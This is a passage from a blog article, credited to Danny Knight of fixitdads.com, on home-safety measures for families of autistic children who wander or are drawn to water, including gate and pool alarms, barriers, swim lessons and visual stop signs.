While boundaries stop or slow down a wanderer and swim lessons and water safety can reduce risk, noise and visuals are useful tools to utilize with an autistic child. Children on the autism spectrum are typically sensitive to noise; therefore, installing an alarm on a gate or in a pool that sounds off whenever someone enters without warning will not only alert parents and caregivers of a potential dangerous situation, but may also deter the child from proceeding. Children on the autism spectrum have various degrees of difficulty with communication and may not be able to process verbal instructions. Visual displays that are posted around certain areas of the house are an effective tool to convey a message because they are repetitive and eye-catching reminders of what is expected. For instance, posting a red “stop” sign at a door, gate, or exit will remind a child with autism of what they need to do and that the area they are about to enter is either prohibited and/or unsafe. Additionally, the visual will remind them to pay attention.


Parents of children with autism have to take extra measures to ensure safety, practicality, accessibility, and functionality. While the task can seem daunting, there are many tools and resources available to parents to adapt their home to their child’s needs. Not every child on the autism spectrum is attracted to water in the same way or is prone to wandering to the same degree. Therefore, each family will need to assess risks and adapt using lessons, barriers, alarms, and visuals to their particular situation.


Written By Danny Knight – www.fixitdads.com

Photo Credit: Unsplash

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